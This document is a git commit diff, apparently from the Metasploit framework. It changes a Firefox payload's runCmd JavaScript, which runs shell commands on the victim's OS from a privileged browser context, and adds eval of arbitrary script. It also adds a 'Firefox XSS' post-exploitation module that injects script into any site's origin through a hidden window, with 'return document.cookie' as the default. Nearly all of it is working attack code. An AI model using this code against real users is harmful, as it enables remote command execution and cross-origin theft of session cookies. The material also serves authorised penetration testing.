Refactor runCmd, allow js exec.
* Updates exec payload to not touch disk * Adds XSS module that uses hiddenWindow (to avoid X-Frame-Options)bug/bundler_fix
parent
60991b08eb
commit
b9c46cde47
|
@ -34,7 +34,7 @@ module Msf::Payload::Firefox
|
|||
|
|
||||
end
|
||||
|
||||
# Javascript source code of runCmd(str) - runs a shell command on the OS
|
||||
# Javascript source code of runCmd(str,cb) - runs a shell command on the OS
|
||||
#
|
||||
# Because of a limitation of firefox, we cannot retrieve the shell output
|
||||
# so the stdout/err are instead redirected to a temp file, which is read and
|
||||
|
@ -44,20 +44,38 @@ module Msf::Payload::Firefox
|
|||
# which redirects stdout.
|
||||
#
|
||||
# On windows, the command is wrapped in two "cmd /c" calls, the outer of which
|
||||
# redirects stdout. A JScript file "launch" file is then used to run the command
|
||||
# without displaying the command prompt.
|
||||
# redirects stdout. A JScript "launch" file is dropped and invoked with wscript
|
||||
# to run the command without displaying the cmd.exe prompt.
|
||||
#
|
||||
# When the command contains the pattern ",JAVASCRIPT, ... ,ENDSCRIPT,", the
|
||||
# javascript code between the tags is eval'd and returned.
|
||||
#
|
||||
# @return [String] javascript source code that exposes the runCmd(str) method.
|
||||
def run_cmd_source
|
||||
%Q|
|
||||
var ua = Components.classes["@mozilla.org/network/protocol;1?name=http"]
|
||||
.getService(Components.interfaces.nsIHttpProtocolHandler).userAgent;
|
||||
var windows = (ua.indexOf("Windows")>-1);
|
||||
var svcs = Components.utils.import("resource://gre/modules/Services.jsm");
|
||||
var jscript = (#{JSON.unparse({:src => jscript_launcher})}).src;
|
||||
var runCmd = function(cmd) {
|
||||
var runCmd = function(cmd, cb) {
|
||||
var echo = function(str) {
|
||||
if(!str \|\| !str.length) return '';
|
||||
var e = str.match(/echo ['"]?([^;\\s"']+)/);
|
||||
return (e && e[1]) \|\| '';
|
||||
}
|
||||
var js = (/,JAVASCRIPT,([\\s\\S]*),ENDSCRIPT,/g).exec(cmd.trim());
|
||||
if (js) {
|
||||
var wcmd = (windows) ? cmd+"\\n" : '';
|
||||
var cmds = cmd.split(js[0]).map(function(s){return s.trim().replace(/^\\s*;/, "")});
|
||||
Function('cb', js[1])(function(r) {
|
||||
cb(wcmd+echo(cmds[0])+"\\n"+r+"\\n"+echo(cmds[1]))
|
||||
})
|
||||
return;
|
||||
}
|
||||
|
||||
var shEsc = "\\\\$&";
|
||||
var shPath = "/bin/sh -c"
|
||||
var windows = (ua.indexOf("Windows")>-1);
|
||||
|
||||
if (windows) {
|
||||
shPath = "cmd /c";
|
||||
|
@ -78,18 +96,12 @@ module Msf::Payload::Firefox
|
|||
}
|
||||
|
||||
var stdoutFile = "#{Rex::Text.rand_text_alphanumeric(8+rand(12))}";
|
||||
var stderrFile = "#{Rex::Text.rand_text_alphanumeric(8+rand(12))}";
|
||||
|
||||
var stdout = Components.classes["@mozilla.org/file/directory_service;1"]
|
||||
.getService(Components.interfaces.nsIProperties)
|
||||
.get("TmpD", Components.interfaces.nsIFile);
|
||||
stdout.append(stdoutFile);
|
||||
|
||||
var stderr = Components.classes["@mozilla.org/file/directory_service;1"]
|
||||
.getService(Components.interfaces.nsIProperties)
|
||||
.get("TmpD", Components.interfaces.nsIFile);
|
||||
stderr.append(stderrFile);
|
||||
|
||||
if (windows) {
|
||||
var shell = shPath+" "+cmd;
|
||||
shell = shPath+" "+shell.replace(/\\W/g, shEsc)+" >"+stdout.path+" 2>&1";
|
||||
|
@ -109,13 +121,13 @@ module Msf::Payload::Firefox
|
|||
var args = [jscriptFile.path, b64];
|
||||
process.run(true, args, args.length);
|
||||
jscriptFile.remove(true);
|
||||
return [cmd+"\\r\\n"+readFile(stdout.path), readFile(stderr.path)];
|
||||
cb(cmd+"\\n"+readFile(stdout.path));
|
||||
} else {
|
||||
sh.initWithPath("/bin/sh");
|
||||
process.init(sh);
|
||||
var args = ["-c", shell];
|
||||
process.run(true, args, args.length);
|
||||
return [readFile(stdout.path), readFile(stderr.path)];
|
||||
cb(readFile(stdout.path));
|
||||
}
|
||||
};
|
||||
|
|
||||
|
|
|
@ -0,0 +1,84 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Firefox XSS',
|
||||
'Description' => %q{
|
||||
This module runs the provided SCRIPT as javascript in the
|
||||
origin of the provided URL. It works by navigating a hidden
|
||||
ChromeWindow to the URL, then injecting the SCRIPT with Function.
|
||||
|
||||
The value returned by SCRIPT is sent back to the Metasploit instance.
|
||||
The callback "send(result)" can also be used to return data for
|
||||
asynchronous scripts.
|
||||
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'joev' ],
|
||||
'Platform' => [ 'firefox' ]
|
||||
))
|
||||
|
||||
register_options([
|
||||
OptString.new('SCRIPT', [true, "The javascript command to run", 'return document.cookie']),
|
||||
OptPath.new('SCRIPTFILE', [false, "The javascript file to run"]),
|
||||
OptString.new('URL', [
|
||||
true, "URL to inject into", 'http://metasploit.com'
|
||||
]),
|
||||
OptInt.new('TIMEOUT', [true, "Maximum time (seconds) to wait for a response", 90])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run
|
||||
results = cmd_exec(",JAVASCRIPT,#{js_payload},ENDSCRIPT,", nil, datastore['TIMEOUT'])
|
||||
|
||||
if results.present?
|
||||
print_good results
|
||||
else
|
||||
print_error "No response received"
|
||||
end
|
||||
end
|
||||
|
||||
def js_payload
|
||||
js = datastore['SCRIPT'].strip
|
||||
%Q|
|
||||
|
||||
(function(){
|
||||
var hiddenWindow = Components.classes["@mozilla.org/appshell/appShellService;1"]
|
||||
.getService(Components.interfaces.nsIAppShellService)
|
||||
.hiddenDOMWindow;
|
||||
|
||||
hiddenWindow.location = 'about:blank';
|
||||
var src = (#{JSON.unparse({ :src => js })}).src;
|
||||
var XHR = hiddenWindow.XMLHttpRequest;
|
||||
var key = "#{Rex::Text.rand_text_alphanumeric(8+rand(12))}";
|
||||
hiddenWindow[key] = true;
|
||||
hiddenWindow.location = "#{datastore['URL']}";
|
||||
|
||||
var evt = function() {
|
||||
if (hiddenWindow[key]) {
|
||||
schedule(evt);
|
||||
} else {
|
||||
schedule(function(){
|
||||
cb(hiddenWindow.Function(src)());
|
||||
}, 500);
|
||||
}
|
||||
};
|
||||
|
||||
var schedule = function(cb, delay) {
|
||||
var timer = Components.classes["@mozilla.org/timer;1"].createInstance(Components.interfaces.nsITimer);
|
||||
timer.initWithCallback({notify:cb}, delay\|\|200, Components.interfaces.nsITimer.TYPE_ONE_SHOT);
|
||||
return timer;
|
||||
};
|
||||
|
||||
schedule(evt);
|
||||
})();
|
||||
|
||||
|.strip
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue